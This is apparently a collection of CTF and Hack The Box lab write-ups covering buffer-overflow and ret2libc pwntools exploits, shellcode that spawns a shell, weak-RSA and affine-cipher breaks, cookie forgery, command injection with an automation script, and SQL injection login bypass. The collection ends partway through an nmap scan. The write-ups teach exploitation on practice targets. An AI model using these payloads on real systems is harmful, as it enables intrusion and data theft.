-------------------------------------------------------------------------------- /writeups/ctfs/fword-ctf-2020/binary-exploitation/README.md: -------------------------------------------------------------------------------- 1 | # Binary Exploitation 2 | 3 | -------------------------------------------------------------------------------- /writeups/ctfs/fword-ctf-2020/binary-exploitation/untitled.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: A ret2libc with a given leak 3 | --- 4 | 5 | # Molotov 6 | 7 | ## ‌Overview 8 | 9 | Running the binary prints and hex value and prompts for input: 10 | 11 | ```text 12 | $ ./molotov 13 | f7d9ef00 14 | Input : 15 | ``` 16 | 17 | We can definitely cause it to segfault: 18 | 19 | ```text 20 | $ python3 -c 'print("A"*300)' | ./molotov 21 | f7d61f00 22 | Input : 23 | Segmentation fault 24 | ``` 25 | 26 | So let's work out what this value is and how we can use it.‌ 27 | 28 | ## Decompilation 29 | 30 | ‌ 31 | 32 | We chuck the binary into GHidra and get a simple disassembly. `main` calls `vuln` and does almost nothing else. `vuln`, however, has _some_ interesting stuff: 33 | 34 | ```c 35 | int vuln(void){ 36 | char buffer [24]; 37 | 38 | printf("%x\n",system); 39 | puts("Input : "); 40 | 41 | gets(buffer); 42 | 43 | return 0; 44 | } 45 | ``` 46 | 47 | ‌ 48 | 49 | It prints the address of `system`! Awesome.‌ 50 | 51 | Let's run the binary on the remote serevr to leak the libc version. 52 | 53 | ```text 54 | $ nc 54.210.217.206 1240 55 | f7d3c8b0 56 | Input : 57 | ``` 58 | 59 | ‌ 60 | 61 | So now we essentially have a libc leak, we head over to [find the libc version](https://libc.blukat.me/). 62 | 63 | ![There are 4 matches‌](https://gblobscdn.gitbook.com/assets%2F-MFC6wsr3fMfJKJtYtmn%2F-MG4TH0ZQ5tkG_qg_28t%2F-MG4_uje-dVyvfpG0wn5%2Fimage.png?alt=media&token=fd4a0efa-27f3-47fc-8d8c-8de6e2eed2d3) 64 | 65 | Annoyingly, there are 4 possible libc versions, and we can only get it from trial and error. Aside from the libc version itself, the exploit is quite simple - subtract the offset of `system` from the leaked address to get `libc` base, then use that to get the location of `/bin/sh`. 66 | 67 | The correct libc version is `2.30-0ubuntu2.1_i386`.‌ 68 | 69 | ## Exploitation 70 | 71 | ```python 72 | from pwn import * 73 | 74 | elf = context.binary = ELF('./molotov') 75 | 76 | if args.REMOTE: 77 | libc = ELF('./libc-remote.so') 78 | p = remote('54.210.217.206', 1240) 79 | else: 80 | libc = elf.libc 81 | p = process() 82 | 83 | addr = int(p.recvline(), 16) 84 | p.clean() 85 | 86 | libc.address = addr - libc.sym['system'] 87 | 88 | rop = ROP(libc) 89 | rop.raw('A' * 32) 90 | rop.system(next(libc.search(b'/bin/sh\x00'))) 91 | 92 | p.sendline(rop.chain()) 93 | p.interactive() 94 | ``` 95 | 96 | -------------------------------------------------------------------------------- /writeups/ctfs/fword-ctf-2020/reversing/README.md: -------------------------------------------------------------------------------- 1 | # Reversing 2 | 3 | -------------------------------------------------------------------------------- /writeups/ctfs/htb-cybersanta-2021/README.md: -------------------------------------------------------------------------------- 1 | # HTB CyberSanta 2021 2 | 3 | -------------------------------------------------------------------------------- /writeups/ctfs/htb-cybersanta-2021/crypto/README.md: -------------------------------------------------------------------------------- 1 | # Crypto 2 | 3 | -------------------------------------------------------------------------------- /writeups/ctfs/htb-cybersanta-2021/crypto/missing-reindeer.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Cube Root Attack 3 | --- 4 | 5 | # Missing Reindeer 6 | 7 | ## Contents 8 | 9 | In this challenge, we get a `message.eml` file containing an email: 10 | 11 | ``` 12 | Hello Mr Jingles, 13 | 14 | We got the reindeer as you requested. There is a problem though. Its nose is so red and bright and makes it very hard to hide him anywhere near north pole. We have moved to a secret location far away. I have encrypted this information with your public key in case you know who is watching. 15 | ``` 16 | 17 | Applications such as Outlook block downloading the file due to it's "malicious nature", but we can open the `.eml` file in VS Code easily and extract two things: 18 | 19 | Firstly, there is a `secret.enc` file with base64-encoded ciphertext: 20 | 21 | ``` 22 | Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wLp8HMJAPxeA321RZexR9qwswQv2S6xQ3QFJi6sgvxkN0YnXtLKRYHQ3te1Nzo53gDnbvuR6zWV8fdlOcBoHtKXlVlsqODku2GvkTQ/06x8zOAWgQCKj78V2mkPiSSXf2/qfDp+FEalbOJlILsZMe3NdgjvohpJHN3O5hLfBPdod2v6iSeNxl7eVcpNtwjkhjzUx35SScJDzKuvAv+6DupMrVSLUfcWyvYUyd/l4v01w+8wvPH9l 23 | ``` 24 | 25 | Secondly, there is a `pubkey.der` file containing an RSA public key: 26 | 27 | ``` 28 | -----BEGIN PUBLIC KEY----- 29 | MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA5iOXKISx9NcivdXuW+uE 30 | y4R2DC7Q/6/ZPNYDD7INeTCQO9FzHcdMlUojB1MD39cbiFzWbphb91ntF6mF9+fY 31 | N8hXvTGhR9dNomFJKFj6X8+4kjCHjvT//P+S/CkpiTJkVK+1G7erJT/v1bNXv4Om 32 | OfFTIEr8Vijz4CAixpSdwjyxnS/WObbVmHrDMqAd0jtDemd3u5Z/gOUi6UHl+XIW 33 | Cu1Vbbc5ORmAZCKuGn3JsZmW/beykUFHLWgD3/QqcT21esB4/KSNGmhhQj3joS7Z 34 | z6+4MeXWm5LXGWPQIyKMJhLqM0plLEYSH1BdG1pVEiTGn8gjnP4Qk95oCV9xUxWW 35 | ZwIBAw== 36 | -----END PUBLIC KEY----- 37 | ``` 38 | 39 | ## Analysing the Public Key 40 | 41 | We can easily import the public key in Python and read the values for $$N$$ and $$e$$ using the Pycryptodome: 42 | 43 | ```python 44 | from Crypto.PublicKey import RSA 45 | 46 | with open('pubkey.pem') as f: 47 | key = RSA.importKey(f.read()) 48 | 49 | print(key.n) 50 | print(key.e) 51 | ``` 52 | 53 | We can throw $$N$$ into FactorDB to see if the factors are known, but they are not. The more notable observation is that $$e=3$$, which allows us to perform a [**cube root attack**](https://ir0nstone.gitbook.io/crypto/rsa/public-exponent-attacks/small-e) on the ciphertext. 54 | 55 | The logic here is simple: because the message $$m$$ is quite short and the public modulus $$N$$ is quite large, a small value of $$e$$ such as $$3$$ may make it such that $$m^e < N$$. This makes the modulus ineffective as $$m^e = m^e \mod N$$ and we can simply take the $$e$$th root of the ciphertext to recover the plaintext. 56 | 57 | ## Recovering c 58 | 59 | We'll use the `gmpy2` `iroot()` function to calculate the cube root: 60 | 61 | ```python 62 | from Crypto.Util.number import bytes_to_long, long_to_bytes 63 | from base64 import b64decode 64 | from gmpy2 import iroot 65 | 66 | c = b64decode(b'Ci95oTkIL85VWrJLVhns1O2vyBeCd0weKp9o3dSY7hQl7CyiIB/D3HaXQ619k0+4FxkVEksPL6j3wLp8HMJAPxeA321RZexR9qwswQv2S6xQ3QFJi6sgvxkN0YnXtLKRYHQ3te1Nzo53gDnbvuR6zWV8fdlOcBoHtKXlVlsqODku2GvkTQ/06x8zOAWgQCKj78V2mkPiSSXf2/qfDp+FEalbOJlILsZMe3NdgjvohpJHN3O5hLfBPdod2v6iSeNxl7eVcpNtwjkhjzUx35SScJDzKuvAv+6DupMrVSLUfcWyvYUyd/l4v01w+8wvPH9l') 67 | c = bytes_to_long(c) 68 | 69 | m = iroot(c, 3) 70 | print(long_to_bytes(m[0])) 71 | ``` 72 | 73 | And bingo bango, we get the flag as `HTB{w34k_3xp0n3n7_ffc896}`. 74 | -------------------------------------------------------------------------------- /writeups/ctfs/htb-cybersanta-2021/crypto/xmas-spirit.md: -------------------------------------------------------------------------------- 1 | # Xmas Spirit 2 | 3 | ## Contents 4 | 5 | We get given `challenge.py` and `encrypted.bin`. Analysing `challenge.py`: 6 | 7 | ```python 8 | import random 9 | from math import gcd 10 | 11 | def encrypt(dt): 12 | mod = 256 13 | while True: 14 | a = random.randint(1, mod) 15 | if gcd(a, mod) == 1: 16 | break 17 | b = random.randint(1, mod) 18 | 19 | res = b'' 20 | for byte in dt: 21 | enc = (a * byte + b) % mod 22 | res += bytes([enc]) 23 | return res 24 | 25 | 26 | dt = open('letter.pdf', 'rb').read() 27 | 28 | res = encrypt(dt) 29 | 30 | f = open('encrypted.bin', 'wb') 31 | f.write(res) 32 | f.close() 33 | ``` 34 | 35 | It calculates two random values, $$a$$ and $$b$$. For every byte $$k$$ in the plaintext file, it then calculates 36 | 37 | $$ 38 | ak + b \mod 256 39 | $$ 40 | 41 | And appends the result of that as the encrypted character in `encrypted.bin`. 42 | 43 | ## Analysis 44 | 45 | The plaintext file appears to be `letter.pdf`, and using this we can work out the values of $$a$$ and $$b$$ because we know the first 4 bytes of every PDF file are `%PDF`. We can extract the first two bytes of `encrypted.bin` and compare to the expected two bytes: 46 | 47 | ```python 48 | with open('encrypted.bin', 'rb') as f: 49 | res = f.read() 50 | 51 | print(res[0]) 52 | print(res[1]) 53 | print(ord('%')) 54 | print(ord('P')) 55 | ``` 56 | 57 | Gives us 58 | 59 | ```python 60 | 13 61 | 112 62 | 37 63 | 80 64 | ``` 65 | 66 | So we can form two equations here using this information: 67 | 68 | 69 | 70 | $$ 71 | a \cdot 37 + b \equiv 13 \mod 256 \\ 72 | a \cdot 80 + b \equiv 112 \mod 256 73 | $$ 74 | 75 | We subtract (2) from (1) to get that 76 | 77 | $$ 78 | 43a \equiv 99 \mod 256 79 | $$ 80 | 81 | And we can multiply both sides by the **modular multiplicative inverse** of 43, i.e. $$43^{-1} \mod 256$$, which is $$131$$, to get that 82 | 83 | $$ 84 | a \equiv 99 \cdot 131 \equiv 169 \mod 256 85 | $$ 86 | 87 | And then we can calculate $$b$$: 88 | 89 | $$ 90 | b \equiv 13 - 169 * 37 \equiv 160 \mod 256 91 | $$ 92 | 93 | ## Solution 94 | 95 | So now we have the values for $$a$$ and $$b$$, it's simply a matter of going byte-by-byte and reversing it. I created a simple Sage script to do this with me, and it took a bit of time to run but eventually got the flag. 96 | 97 | ```python 98 | with open('encrypted.bin', 'rb') as f: 99 | res = f.read() 100 | 101 | 102 | final = b'' 103 | 104 | 105 | R = IntegerModRing(256) 106 | 107 | for char in res: 108 | b = bytes([ (R(char) - R(160)) / R(169) ]) 109 | print(b.decode('latin-1'), end='') 110 | final += b 111 | 112 | with open('answer.pdf', 'wb') as f: 113 | f.write(final) 114 | ``` 115 | 116 | And the resulting PDF has the flag `HTB{4ff1n3_c1ph3r_15_51mpl3_m47h5}` within. 117 | -------------------------------------------------------------------------------- /writeups/ctfs/x-mas-ctf-2020/README.md: -------------------------------------------------------------------------------- 1 | # X-MAS CTF 2020 2 | 3 | I didn't manage to solve a huge number of these - I was quite busy, plus I suck - but I'll dump some writeups here for those I caught up on later. 4 | 5 | -------------------------------------------------------------------------------- /writeups/ctfs/x-mas-ctf-2020/pwn/README.md: -------------------------------------------------------------------------------- 1 | # Pwn 2 | 3 | -------------------------------------------------------------------------------- /writeups/ctfs/x-mas-ctf-2020/pwn/do-i-know-you.md: -------------------------------------------------------------------------------- 1 | # Do I Know You? 2 | 3 | If we disassemble, the solution is pretty clear. 4 | 5 | ```text 6 | [...] 7 | | 0x55c00f08685d 4889c7 mov rdi, rax 8 | │ 0x55c00f086860 b800000000 mov eax, 0 9 | │ 0x55c00f086865 e846feffff call sym.imp.gets 10 | │ 0x55c00f08686a 488b55f0 mov rdx, qword [var_10h] 11 | │ 0x55c00f08686e b8efbeadde mov eax, 0xdeadbeef 12 | │ 0x55c00f086873 4839c2 cmp rdx, rax 13 | │ ┌─< 0x55c00f086876 7522 jne 0x55c00f08689a 14 | │ │ 0x55c00f086878 488d3de90000. lea rdi, str.X_MAS_Fake_flag... 15 | [...] 16 | ``` 17 | 18 | `gets()` is used to take in input, then the contents of another local variable are compared to `0xdeadbeef`. Basic buffer overflow then overwrite a local variable: 19 | 20 | ```python 21 | from pwn import * 22 | 23 | elf = context.binary = ELF('./chall') 24 | p = remote('challs.xmas.htsp.ro', 2008) 25 | 26 | payload = b'A' * 32 27 | payload += p64(0xdeadbeef) 28 | 29 | p.sendlineafter('you?\n', payload) 30 | print(p.recvuntil('}')) 31 | ``` 32 | 33 | `X-MAS{ah_yes__i_d0_rememb3r_you}` 34 | 35 | -------------------------------------------------------------------------------- /writeups/ctfs/x-mas-ctf-2020/pwn/naughty.md: -------------------------------------------------------------------------------- 1 | # Naughty 2 | 3 | ## Overview 4 | 5 | We receive a file called `chall`. NX is disabled, which is helpful. We inject shellcode, [use a `jmp rsp` gadget](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode#using-rsp) and execute our own shellcode. 6 | 7 | ## Decompilation 8 | 9 | `main()` is a fairly simple binary: 10 | 11 | ```c 12 | int main(int a1, char **a2, char **a3) 13 | { 14 | char input[46]; // [rsp+0h] [rbp-30h] BYREF 15 | __int16 check; // [rsp+2Eh] [rbp-2h] 16 | 17 | setvbuf(stdin, 0LL, 2, 0LL); 18 | setvbuf(stdout, 0LL, 2, 0LL); 19 | 20 | check = -6913; 21 | puts("Tell Santa what you want for XMAS"); 22 | fgets(input, 71, stdin); 23 | puts("Nice. Hope you haven't been naughty"); 24 | if ( check != -6913 ) 25 | { 26 | puts("Oh no....no gifts for you this year :(("); 27 | exit(0); 28 | } 29 | return 0LL; 30 | } 31 | ``` 32 | 33 | The buffer is `48` bytes long. After the buffer there is 16-bit integer `check`, which acts as a canary. Then there are 8 bytes for the stored RBP. The total input it `71`, meaning after the stored RBP we have 13 bytes of overflow, **including the RIP**. No ROP is possible. 34 | 35 | Note that the value `-6913` is actually `0xe4ff`. 36 | 37 | This was rather misleading as they gave you the LIBC. 38 | 39 | ## Exploitation 40 | 41 | Firstly: 42 | 43 | ```python 44 | from pwn import * 45 | 46 | elf = context.binary = ELF('./chall', checksec=False) 47 | 48 | if args.REMOTE: 49 | p = remote('challs.xmas.htsp.ro', 2000) 50 | else: 51 | p = process() 52 | 53 | jump_rsp = 0x40067f 54 | ``` 55 | 56 | Now we need some shellcode. pwntools' `shellcraft.sh()` is `2` bytes too long, so we'll have to make it manually. 57 | 58 | The general payload is as follows: 59 | 60 | * `/bin/sh\x00` so we have it in a known location \(relative to RSP\) 61 | * Shellcode 62 | * Padding 63 | * `0xe4ff` to overwrite the pseudo-canary 64 | * Padding 65 | * `jmp rsp` 66 | 67 | Now we need to decide _what_ shellcode we want to run. Well, since RSP points at the stack, we know that it will **always be a static offset off our buffer**. If we calculate it, we can just do 68 | 69 | ```text 70 | sub rsp, x 71 | jmp rsp 72 | ``` 73 | 74 | And execute the other half of our code! And at this point RSP will be exactly `8` bytes off `/bin/sh\x00`, so we can use it to populate RDI as well! 75 | 76 | ```python 77 | exploit = b'/bin/sh\x00' 78 | exploit += asm(''' 79 | xor rsi, rsi 80 | xor rdx, rdx 81 | lea rdi, [rsp-8] 82 | mov rax, 0x3b 83 | syscall 84 | ''') # rsi/rdx need to be null, rdi points at /bin/sh, rax execve syscall number 85 | exploit += b'A' * (46 - len(exploit)) # padding 86 | exploit += p16(0xe4ff) 87 | exploit += b'B' * 8 88 | exploit += p64(jump_rsp) 89 | exploit += asm(''' 90 | sub rsp, 0x38 91 | jmp rsp 92 | ''') # RSP point to beginning of shellcode, use this to point RIP there 93 | 94 | p.sendline(exploit) 95 | p.interactive() 96 | ``` 97 | 98 | `X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}` 99 | 100 | -------------------------------------------------------------------------------- /writeups/ctfs/x-mas-ctf-2020/web/README.md: -------------------------------------------------------------------------------- 1 | # Web 2 | 3 | Not really my forte, but here we go, I can only get better. 4 | 5 | -------------------------------------------------------------------------------- /writeups/ctfs/x-mas-ctf-2020/web/php-master.md: -------------------------------------------------------------------------------- 1 | # PHP Master 2 | 3 | Once we visit the URL, we are shown some code: 4 | 5 | ```php 6 | 23 | ``` 24 | 25 | Clearly this is some type of [Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) exploit, but I'm not that familiar with it except for `0e` md5 hashes and stuff. However, there are some restrictions here: 26 | 27 | * There can be no `e` character in either parameter 28 | * The two parameters must be the same length 29 | * They can't strictly equal each other \(`!==`\) but they must loosely equal each other \(`==`\) 30 | 31 | PHP comparision is a known piece of junk, so we can find some weaknesses using [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling). 32 | 33 | Once set of possible parameters is `01` and `1`, as they are both two characters long and - according to PHP's loose comparison - equal each other \(thanks to [**nrabulinski** ](https://github.com/nrabulinski)for this solution after the CTF\). It appears that objetcs are automatically **converted to numbers** for loose comparisions, as loose only compares _values_ while strict _also compares types_. Therefore the example above would both equal `1` under loose comparison. 34 | 35 | Another, more interesting set is `200` and `2E3` \(thanks to [03sunf](https://gist.github.com/03sunf/ada95212b624d9354b9f9cc46b14f387)\). Note that `2E3` is an **exponential**, equivalent to `2 * 10^2`. Once both are converted to integers, they pass the check. 36 | 37 | -------------------------------------------------------------------------------- /writeups/hack-the-box/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/README.md: -------------------------------------------------------------------------------- 1 | # Challenges 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/pwn/README.md: -------------------------------------------------------------------------------- 1 | # Pwn 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/pwn/dream-diary-chapter-1/chunk-overlap.md: -------------------------------------------------------------------------------- 1 | # Chunk Overlap 2 | 3 | ## Summary 4 | 5 | TODO 6 | 7 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/pwn/ropme.md: -------------------------------------------------------------------------------- 1 | # Ropme 2 | 3 | ## Overview 4 | 5 | [Ropme ](https://app.hackthebox.eu/challenges/8)was an 80pts challenge rated as `Hard` on HackTheBox. Personally, I don't believe it should have been a hard; the technique used is fairly common and straightforward, and the high points and difficulty is probably due to it being one of the first challenge on the platform. 6 | 7 | Exploiting the binary involved executing a [ret2plt ](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt)attack in order to leak the libc version before gaining RCE using a [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc). 8 | 9 | ## Analysis 10 | 11 | ```text 12 | $ ./ropme 13 | ROP me outside, how 'about dah? 14 | test 15 | ``` 16 | 17 | One output, one input, then the program breaks. 18 | 19 | ```text 20 | $ rabin2 -I ropme 21 | bits 64 22 | canary false 23 | nx true 24 | pic false 25 | relro partial 26 | ``` 27 | 28 | No PIE, meaning we can pull off the [ret2plt](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt). Let's leak the libc version. 29 | 30 | ```python 31 | from pwn import * 32 | 33 | elf = context.binary = ELF('./ropme') 34 | libc = elf.libc 35 | p = elf.process() 36 | 37 | # ret2plt 38 | rop = ROP(elf) 39 | 40 | rop.raw('A' * 72) 41 | rop.puts(elf.got['puts']) 42 | rop.raw(elf.symbols['main']) 43 | 44 | p.sendline(rop.chain()) 45 | 46 | # read the leaked puts address 47 | p.recvline() 48 | puts = u64(p.recv(6) + b'\x00\x00') 49 | log.success(f'Leaked puts: {hex(puts)}') 50 | 51 | # Get base 52 | libc.address = puts - libc.symbols['puts'] 53 | log.success(f'Libc base: {hex(libc.address)}') 54 | ``` 55 | 56 | We can now leak other symbols in order to pinpoint the libc version, for which you can use something like [here](https://libc.blukat.me/). Once you've done that, it's a simple [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc). 57 | 58 | ## Final Exploit 59 | 60 | ```python 61 | from pwn import * 62 | 63 | elf = context.binary = ELF('./ropme') 64 | 65 | if args.REMOTE: 66 | libc = ELF('./libc-remote.so', checksec=False) 67 | p = remote('docker.hackthebox.eu', 31919) 68 | else: 69 | libc = elf.libc 70 | p = elf.process() 71 | 72 | # ret2plt 73 | rop = ROP(elf) 74 | 75 | rop.raw('A' * 72) 76 | rop.puts(elf.got['puts']) 77 | rop.raw(elf.symbols['main']) 78 | 79 | p.sendline(rop.chain()) 80 | 81 | ### Pad with \x00 to get to correct length of 8 bytes 82 | p.recvline() 83 | puts = u64(p.recv(6) + b'\x00\x00') 84 | log.success(f'Leaked puts: {hex(puts)}') 85 | 86 | # Get base 87 | libc.address = puts - libc.symbols['puts'] 88 | log.success(f'Libc base: {hex(libc.address)}') 89 | 90 | 91 | # ret2libc 92 | binsh = next(libc.search(b'/bin/sh\x00')) 93 | 94 | rop = ROP(libc) 95 | rop.raw('A' * 72) 96 | rop.system(binsh) 97 | 98 | p.sendline(rop.chain()) 99 | 100 | p.interactive() 101 | 102 | # HTB{r0p_m3_if_y0u_c4n!} 103 | ``` 104 | 105 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/web/README.md: -------------------------------------------------------------------------------- 1 | # Web 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/web/baby-auth.md: -------------------------------------------------------------------------------- 1 | # Baby Auth 2 | 3 | ## Analysis 4 | 5 | We are first greeted by a login page. Let's, once again, try `admin` with password `admin`: 6 | 7 | ``` 8 | Invalid username or password 9 | ``` 10 | 11 | Looks like we'll have to create an account - let's try those credentials. 12 | 13 | ``` 14 | this user already exists 15 | ``` 16 | 17 | This is great, because now we know we need a user called `admin`. Let's create another user - I'll use username and password `yes`, because I doubt that'll be used. 18 | 19 | ![Login Redirect](<../../../../.gitbook/assets/image (23).png>) 20 | 21 | We're redirected to the login, which makes it seem like it worked. Let's log in with the credentials we just created: 22 | 23 | ![](<../../../../.gitbook/assets/image (26).png>) 24 | 25 | Whoops, guess we're not an admin! 26 | 27 | When it comes to accounts, one very common thing to check is **cookies**. Cookies allow, among other things, for users to [authenticate without logging in every time](https://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work). To check cookies, we can right-click and hit **Inspect Element** and then move to the **Console** tab and type `document.cookie`. 28 | 29 | ![](<../../../../.gitbook/assets/image (5).png>) 30 | 31 | Well, we have a cookie called `PHPSESSID` and the value `eyJ1c2VybmFtZSI6InllcyJ9`. Cookies are often base64 encoded, so we'll use a tool called [CyberChef](https://gchq.github.io/CyberChef/) to decode it. 32 | 33 | ![](<../../../../.gitbook/assets/image (1).png>) 34 | 35 | Once we decode the base64, we see that the contents are simply `{"username":"yes"}`. 36 | 37 | ## Exploitation 38 | 39 | So, the website knows our identity due to our cookie - but what's to stop us from forging a cookie? Since we control the cookies we send, we can just edit them. Let's create a fake cookie! 40 | 41 | ![Creating a Fake Cookie Value](<../../../../.gitbook/assets/image (35).png>) 42 | 43 | Note that we're URL encoding it as it ends in the special character `=`, which usually has to be URL encoded in cookies. Let's change our cookie to `eyJ1c2VybmFtZSI6ImFkbWluIn0%3D`! 44 | 45 | ![](<../../../../.gitbook/assets/image (11).png>) 46 | 47 | Ignore the warning, but we've now set `document.cookie`. Refresh the page to let it send the cookies again. 48 | 49 | ![](<../../../../.gitbook/assets/image (19).png>) 50 | 51 | And there you go - we successfully authenticated as an admin! 52 | 53 | `HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}` 54 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/web/looking-glass.md: -------------------------------------------------------------------------------- 1 | # Looking Glass 2 | 3 | ## Analysis 4 | 5 | When we start the instance, we are met with an options menu: 6 | 7 | ![](<../../../../.gitbook/assets/image (2).png>) 8 | 9 | It appears as if we can input the IP, which is then pinged. Let's imagine for a second how this could be implemented on the server side. A common trap developers can fall into is doing something like: 10 | 11 | ```php 12 | system("ping -c 4 " + ip); 13 | ``` 14 | 15 | Essentially, we're passing the parameters to bash. This means we could, theoretically, insert a `;` character into the `ip` variable, and everything behind it would be interpreted as a seperate command, e.g.: 16 | 17 | ```php 18 | system("ping -c 4 178.62.0.100; ls"); 19 | ``` 20 | 21 | Here, `ls` would be run as a separate command. Let's see if it works! 22 | 23 | ## Exploitation 24 | 25 | Let's try it by simply inputting `; ls` to the end of the IP and submitting: 26 | 27 | ``` 28 | PING 178.62.0.100 (178.62.0.100): 56 data bytes 29 | --- 178.62.0.100 ping statistics --- 30 | 4 packets transmitted, 0 packets received, 100% packet loss 31 | index.php 32 | ``` 33 | 34 | Look - as well as the `ping` command, we get `index.php`, which is the result of the `ls` command! 35 | 36 | There doesn't appear to be a flag, so we'll try `; ls /` to read the root directory next: 37 | 38 | ``` 39 | PING 178.62.0.100 (178.62.0.100): 56 data bytes 40 | --- 178.62.0.100 ping statistics --- 41 | 4 packets transmitted, 0 packets received, 100% packet loss 42 | bin 43 | boot 44 | dev 45 | entrypoint.sh 46 | etc 47 | flag_2viTb 48 | home 49 | lib 50 | lib64 51 | media 52 | mnt 53 | opt 54 | proc 55 | root 56 | run 57 | sbin 58 | srv 59 | sys 60 | tmp 61 | usr 62 | var 63 | www 64 | ``` 65 | 66 | Woo - there's a `flag_2viTb` file! Now we'll inject `; cat /flag_2viTb` to read the flag: 67 | 68 | ``` 69 | PING 178.62.0.100 (178.62.0.100): 56 data bytes 70 | --- 178.62.0.100 ping statistics --- 71 | 4 packets transmitted, 0 packets received, 100% packet loss 72 | HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3} 73 | ``` 74 | 75 | And boom, we've got the flag - `HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}`. 76 | 77 | ## Automation 78 | 79 | Because I prefer a command-line interface, I originally created a simple script to inject parameters for me: 80 | 81 | ```python 82 | from requests import post 83 | 84 | cmd = input('>> ') 85 | 86 | data = {'test': 'ping', 'ip_address': f'178.62.0.100; {cmd}', 'submit': 'Test'} 87 | r = post('http://178.62.0.100:30134/', data=data) 88 | 89 | data = r.text 90 | data = data.split('packet loss\n')[-1] 91 | data = data.split('')[0] 92 | 93 | print(data.strip()) 94 | ``` 95 | 96 | This simply inputs the command as `cmd`, sets the POST parameters, and (really messily) parses the response to return just the data. 97 | 98 | ``` 99 | $ python3 exploit.py 100 | >> cat /flag_2viTb 101 | HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3} 102 | ``` 103 | 104 | ## Checking the Source 105 | 106 | We can inject `cat index.php` to see what exactly was happening, and we immediately see the following lines: 107 | 108 | ```php 109 | function runTest($test, $ip_address) 110 | { 111 | if ($test === 'ping') 112 | { 113 | system("ping -c4 ${ip_address}"); 114 | } 115 | if ($test === 'traceroute') 116 | { 117 | system("traceroute ${ip_address}"); 118 | } 119 | } 120 | ``` 121 | 122 | As we guessed, it passed in the input _without sanitising it_ to remove potential injection. 123 | -------------------------------------------------------------------------------- /writeups/hack-the-box/challenges/web/sanitize.md: -------------------------------------------------------------------------------- 1 | # Sanitize 2 | 3 | ## Analysis 4 | 5 | First we're met with a signin form: 6 | 7 | ![](<../../../../.gitbook/assets/image (21).png>) 8 | 9 | Let's try some default creds, `admin` and `admin`. 10 | 11 | ![The Query](<../../../../.gitbook/assets/image (16).png>) 12 | 13 | Below, the query run on the database is shown; this seems like a clear example of **SQL injection**. 14 | 15 | ## Exploitation 16 | 17 | Ultimately, we want to try and log in as a user. To do this, we can try to inject our own SQL. 18 | 19 | We know the payload looks like the following: 20 | 21 | ```sql 22 | select * from users where username = '' AND password = ''; 23 | ``` 24 | 25 | We want to trick this into always returning a user, and to do this we'll inject a clause that's **always** true, such as `1=1`. 26 | 27 | ```sql 28 | admin' OR 1=1 29 | ``` 30 | 31 | That will make the query equal to the following: 32 | 33 | ```sql 34 | select * from users where username = 'admin' OR 1=1 AND password = 'password'; 35 | ``` 36 | 37 | So here, it'll compare the `username` to `admin`, and if it's not the same the check will **still** pass because `1=1`. However, there's a small issue with the `password` still being wrong. To bypass _this_ check, we'll make everything after our injection a **comment** so that the databse ignores it: 38 | 39 | ```sql 40 | admin' OR 1=1;-- 41 | ``` 42 | 43 | That would make the query be: 44 | 45 | ```sql 46 | select * from users where username = 'admin' OR 1=1;-- AND password = 'password'; 47 | ``` 48 | 49 | As you can see, the `username` will always be correct due to the `1=1` and the password check is commented out! Let's try it. 50 | 51 | ![](<../../../../.gitbook/assets/image (18).png>) 52 | 53 | We still have to input a password because some javascript checks to make sure it's there, but we can fill that with any rubbish. And we get the flag! 54 | 55 | `HTB{SQL_1nj3ct1ng_my_w4y_0utta_h3r3}` 56 | -------------------------------------------------------------------------------- /writeups/hack-the-box/linux-machines/README.md: -------------------------------------------------------------------------------- 1 | # Linux Machines 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/linux-machines/easy-linux/README.md: -------------------------------------------------------------------------------- 1 | # Easy 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/linux-machines/hard/README.md: -------------------------------------------------------------------------------- 1 | # Hard 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/linux-machines/medium/README.md: -------------------------------------------------------------------------------- 1 | # Medium 2 | 3 | -------------------------------------------------------------------------------- /writeups/hack-the-box/linux-machines/medium/magic.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: SQL injection, PHP reverse shell upload, mysqldump and PATH injection 3 | --- 4 | 5 | # Magic 6 | 7 | ## Enumeration 8 | 9 | As always, let's start with an `nmap`: 10 | 11 | ``` 12 | $ sudo nmap -sS -n -p- -sV -sC -oN depth.nmp 10.10.10.185 13 | 14 | PORT STATE SERVICE VERSION 15 | 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 16 | | ssh-hostkey: 17 | | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) 18 | | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) 19 | |_ 256 